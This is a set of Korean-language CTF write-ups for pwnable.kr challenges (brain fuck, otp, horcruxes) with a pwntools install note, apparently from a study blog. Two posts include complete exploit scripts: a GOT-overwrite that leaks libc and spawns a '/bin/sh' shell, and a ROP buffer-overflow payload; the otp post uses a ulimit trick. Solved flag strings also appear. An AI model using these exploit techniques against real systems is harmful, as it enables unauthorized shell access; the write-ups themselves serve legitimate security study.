+ 문자를 입력하면 p가 가리키는 값을 1 증가시키고


, 문자를 입력하면 p가 가리키는 문자를 사용자가 입력한 한 바이트의 값으로 변경하고


- 문자를 입력하면 p가 가리키는 값을 1 감소시키고


< 문자를 입력하면 p가 가리키는 주소의 값을 1바이트 감소시키고 (shift left)


> 문자를 입력하면 p가 가리키는 주소의 값을 1바이트 증가시킨다 (shift right)



p는 전역으로 선언되었고 tape의 주소를 담고있으니


p = 0x0804A0A0 라고 생각할 수 있겠다.


당연히 brain fuck 연산에 있어서 메모리 범위를 체크하지 않기 때문에 사용자가 입력하는 명령어에 의해


p를 특정 코드 주소 공간으로 이동하여 읽고 쓸 수 있게된다.


여기서 생각해볼 수 있는건 GOT 테이블.


GOT 테이블까지 이동하고 테이블에 있는 함수의 주소를 덮어쓰면 우리가 원하는 함수를 실행시킬 수 있을 것이다.



다행히 got 테이블이 근처에 있다.


p에 담긴 tape의 주소가 0x0804A0A0였고 GOT의 시작 주소는 0x0804A000이다. 


코드 상으로 p에 담긴 tape의 주소보다 0xA0만큼 위에 GOT가 존재한다.


GOT 테이블의 특정 함수들을, system 함수로 변경하여 쉘을 실행시킬 수 있을 것이다.


쉘을 실행시키기 위해선 "/bin/sh"과 같은 문자열을 입력할 수있어야 할 것이고, 때문에 gets과 같이 문자열을 입력받는 함수도 필요할거다.


즉, got 상의 두 함수를 system과 gets 함수로 바꿔야 된다고 볼 수있는데.


gets에서 인자로 전달된 인자를, system에서도 인자로 전달받아야 하기 때문에, 이 조건을 만족하는 함수들이 있는지 먼저 찾아야한다.





조건을 만족하는 함수가 바로 있다.


memset과 fgets


각 함수가 전달받는 인자의 개수는 상관 없다. 어차피 gets와 system 함수는 한 개의 인자만 전달받기 때문에, 


2번째 이후에 무슨 인자가 오든 덮어써진 함수들은 신경을 쓸 필요가 없다. 


말이 좀 어려울 수 있는데 정리하면.



memset을 gets, fgets를 system 함수로 덮어쓰면


memset은 한 개의 인자만 전달받기 때문에 s 인자만을 가져갈 것이고, c와 n은 무시된다.


마찬가지로 system 함수 또한 한 개의 인자만 전달받기 때문에 s 인자만 가져갈 것이고 n과 stream은 무시된다.


아무튼, 둘 다 공통된 s를 인자로 받기 때문에 이 함수들을 덮어쓰는 것으로 쉘은 실행시킬 수 있다.


덮어써준 다음엔 main 함수를 호출해줘야 한다.


이것 또한 do_brainfuck() 함수 내에서 호출되는 라이브러리 함수를 got overwrite 해서 호출할 수 있다.



난 여기서 putchar 함수를 main 함수의 주소로 덮어썼다.


이렇게되면 모든 memset, fgets, putchar 함수의 got를 overwrite 하는 명령어를 작성한 후에


main으로 덮어써진 putchar를 호출할 수 있는 '.' 명령어를 통해 main을 다시 호출할 수 있다.



정리하면


memset    -> gets

fgets         -> system

putchar     -> main


으로 변경해준다.




위에서부터 순서대로 하자.


fgets 함수의 주소는 0x0804A010

memset 함수의 주소는 0x0804A02C

putchar 함수의 주소는 0x0804A030


먼저 "<"를 fgets 함수의 주소가 쓰여진 got의 위치까지 이동하고


그 위치에서 4 바이트를 읽으면 fgets 함수의 주소를 구할 수 있다.


이 구한 주소에서 라이브러리 상의 fgets 함수의 offset을 빼면 라이브러리가 올라간 base 주소를 구할 수 있다.


이렇게 구한 base 주소에 각 overwrite 할 함수(gets, system 함수)의 offset을 더하여 덮어쓸 주소를 구한다.


덮어쓴 이후엔 gets 함수에 전달할 "/bin/sh"를 입력하면 쉘을 얻을 수 있다.



※ 서버의 응답 메시지를 기다릴 때 개행문자("\n")까지 기다려주지 않으면 이상한 값이 섞여들어가 공격이 되지 않는다...



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
 
fgets_addr      = 0x0804A010  # address of fgets's got table
memset_addr  = 0x0804A02C  # address of memset's got table
putchar_addr = 0x0804A030  # address of putchar's got table
tape_addr      = 0x0804A0A0  # address of pointer p
 
fgets_offset  = 0x0005E150 # to get base address of loaded library
gets_offset   = 0x0005F3E0 # offset of gets in library binary
system_offset = 0x0003ADA0 # offset of system in library binary
main_addr      = 0x08048671 # address of main function to overwrite putchar
 
def do_bf(s):
    payload  = "<" * (tape_addr - fgets_addr)             # move to address of fgets
    payload += ".>" * 4                                 # read address of fgets
    payload += "<" * 4                                  # rewind pointer
    payload += ",>" * 4                                 # overwrite address of fgets to system
    payload += ">" * (memset_addr - fgets_addr - 4)     # move to address of memset
    payload += ",>" * 4                                    # overwrite address of memset to gets
    payload += ">" * (putchar_addr - memset_addr -4)    # move to address of putchar
    payload += ",>" * 4                                    # overwrite address of putchar to main
    payload += "."                                        # call putchar (=main)
    s.sendline(payload)
 
 
def main():
    s = remote("pwnable.kr"9001)
 
    #rcv = s.recvuntil(']')                            # you should also wait '\n'....
    rcv = s.recvuntil(']\n')
    print(rcv)
    
    do_bf(s)                                        # send payload to do brain fuck
 
    loaded_fgets_addr = u32(s.recvn(4))             # read address of fgets got address
 
    base_addr     = loaded_fgets_addr - fgets_offset     # get base address of loaded binary
    gets_addr     = base_addr + gets_offset            # get address of gets in memory
    system_addr = base_addr + system_offset            # get address of system in memory
 
    s.send(p32(system_addr))                        # overwrite fgets to system
    s.send(p32(gets_addr))                            # overwrite memset to gets
    s.send(p32(main_addr))                            # overwrite putchar to main
    s.sendline("/bin/sh")                            # pass argument to gets function
 
    s.interactive()                                    # get shell
 
main()
cs







1
BrainFuck? what a weird language..
cs








'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

fsb  (0) 2019.01.13
otp  (0) 2019.01.07
21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01

scp -P [port] [address]@[hostname]:[file directory] [directory to download]


ex ) scp -P 2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/Desktop





bruteforce는 하지 말라는게 힌트다.


삽질을 굉장히 많이했고 도저히 모르겠어서 결국 검색을 통해 푼 문제다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
int main(int argc, char* argv[]){
        char fname[128];
        unsigned long long otp[2];
 
        if(argc!=2){
                printf("usage : ./otp [passcode]\n");
                return 0;
        }
 
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1) exit(-1);
 
        if(read(fd, otp, 16)!=16) exit(-1);
        close(fd);
 
        sprintf(fname, "/tmp/%llu", otp[0]);
        FILE* fp = fopen(fname, "w");
        if(fp==NULL){ exit(-1); }
        fwrite(&otp[1], 81, fp);
        fclose(fp);
 
        printf("OTP generated.\n");
 
        unsigned long long passcode=0;
        FILE* fp2 = fopen(fname, "r");
        if(fp2==NULL){ exit(-1); }
        fread(&passcode, 81, fp2);
        fclose(fp2);
 
        if(strtoul(argv[1], 016== passcode){
                printf("Congratz!\n");
                system("/bin/cat flag");
        }
        else{
                printf("OTP mismatch\n");
        }
 
        unlink(fname);
        return 0;
}
cs



문제의 otp 바이너리의 소스코드이다.


passcode를 입력하고 /dev/urandom을 통해 16 바이트의 난수를 읽어오고, 앞의 8바이트는 파일의 이름으로 임시 파일을 생성,


뒤의 8바이트는 생성한 임시 파일에 쓰고 이걸 후에 다시 읽어와서(passcode) 사용자의 입력(argv[1])과 비교한다.






/tmp 디렉토리에  코드를 복사하여 이런저런 테스트를 해봤다.


도저히 모르겠어서 검색해보니 ulimit과 관련된 문제라는 힌트가 있었다.



ulimit?


user가 생성할 수 있는 resource의 제한을 두는 것을 의미하는데


해당 문제에서는 120000으로 설정되어있었다.



즉, user가  해당 쉘에서 자식 프로세스로 생성되는 프로세스가 생성할 수 있는 파일의 크기가 최대 120000으로 제한한다는 것인데


이걸 user가 변경할 수 있는 것 같다.


만약 user가 이 제한을 0으로 변경하면 실행되는 자식 프로세스는 모두 파일을 생성할 수 없게된다.


이 문제는 이 제한을 변경해서 otp 프로세스가 파일을 생성하지 못하게 하는 문제다.




ulimit을 0으로 설정하면 다음 코드에서 문제가 발생할 것이다.




파일을 생성하고 파일을 쓰는데, 쓸 수 있는 파일의 크기가 0으로 제한되기 때문에 파일에는 아무 값도 쓸 수 없게된다.


이 때 다음과 같이 파일의 크기가 커서 생성이 못하는 의미를 갖는 27번 errno이 설정된다. 


1
#define EFBIG       27  /* File too large */
cs






그럼 이 부분에서 문제가 생기는데, 원래 파일에서 읽어야 할  passcode를 파일에 읽을 데이터가 없기 때문에 읽을 수 없게된다.


passcode는 여기서 null이 되고 이후 비교문을 보면



이 부분에서 strtoul 함수의 반환값이 0이 되어야 한다.


즉 argv[1]에 아무 값도 전달하지 않아야 한다는 것인데 터미널에서 실행시키는 방법으론 방법이 생각나지 않는다.


그래서 파이썬 스크립트로 subprocess로 실행시키는 방법을 사용했다.


1
2
import subprocess
subprocess.call(['/home/otp/otp'''])
cs


이렇게 인자를 전달하면 argv[1]에는 null이 들어가게 된다.


/tmp 디렉토리에 해당 파이썬 스크립트를 작성하고 다음과 같이 ulimit을 0으로 설정한다.




이제 파이썬 스크립트를 실행하면..




플래그가 출력된다.


1
Darn... I always forget to check the return value of fclose() :(
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

fsb  (0) 2019.01.13
brain fuck  (0) 2019.01.08
21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01


ROP 문제다


접속을 해보자




9032 포트를 통해 바이너리를 실행시킬 수 있다.


IDA로 분석을 위해 먼저 바이너리를 다운받아본다.



1
scp -2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./Desktop/
cs




main 함수이다.




랜덤한 값에서 a, b, c, d, e, f, g의 값이 만들어지고 그 모든 값을 더한 값이 sum이 된다





ropme 함수이다.


사용자가 입력한 값이 a, b, c, d, e, f, g 중 하나에 해당할 경우 그에 맞는 A, B, C, D, E, F, G 함수가 실행된다.




대문자 이름을 가진 각 함수는 위와 같이 생겼다.


호출되면 조건 분기문에서 검사하는 값을 출력한다.




결과적으로 사용자가 입력한 값이 sum과 일치해야 한다


따라서 사용자는 a, b, c, d, e, f, g의 값을 알아야 하고 


gets 함수에서 buffer overflow가 가능하니 ROP 기법을 이용해 A, B, C, D, E, F, G 함수를 호출하여 알아낼 수 있다.





ropme를 보면 먼저 0x78만큼의 스택 크기를 사용하는데


이부분이 gets 함수에 사용되는 buf 메모리 크기이다.


따라서 0x78 이후의 4바이트는 ropme의 return 주소일 것이다.

 




실제 buf의 시작 주소로부터 0x78 이후에 return 주소가 있다.




각 함수의 주소는 이렇고


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
 
id   = 'horcruxes'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
def send_payload(conn):
    A = p32(0x809fe4b)
    B = p32(0x809fe6a)
    C = p32(0x809fe89)
    D = p32(0x809fea8)
    E = p32(0x809fec7)
    F = p32(0x809fee6)
    G = p32(0x809ff05)
    ropme = p32(0x809fffc)
    payload = "A" * 120 + A + B + C + D + E + F + G + ropme
    conn.sendline(payload)
 
def get_exp(conn):
    conn.recvuntil("EXP +")
    return conn.recvuntil(")")[:-1]
 
def exploit():
    conn = s.connect_remote('localhost'9032)
    conn.recvuntil(':')
    conn.sendline("1")
    conn.recvuntil(":")
    send_payload(conn)
    exp = 0
    for i in range(7):
        exp += int(get_exp(conn))
 
    conn.recvuntil(":")
    conn.sendline("1")
    conn.recvuntil(":")
    conn.sendline(str(exp))
 
    conn.interactive()
 
exploit()
cs





'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

brain fuck  (0) 2019.01.08
otp  (0) 2019.01.07
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01
12. blackjack  (0) 2018.10.01

Pwntoools?


포너블 문제들을 풀다보면 payload가 직접 입력하기가 까다롭거나


exploit이 여러 단계를 거쳐서 진행될 때, 아무튼 포너블 풀기 쉽게 만들어둔 Framework


파이썬 라이브러리다.




Pwntools 설치



 1. apt-get install python2.7-dev python-pip


 2. pip isntall pwntools


 3. apt-get install libcapstone-dev





+ Recent posts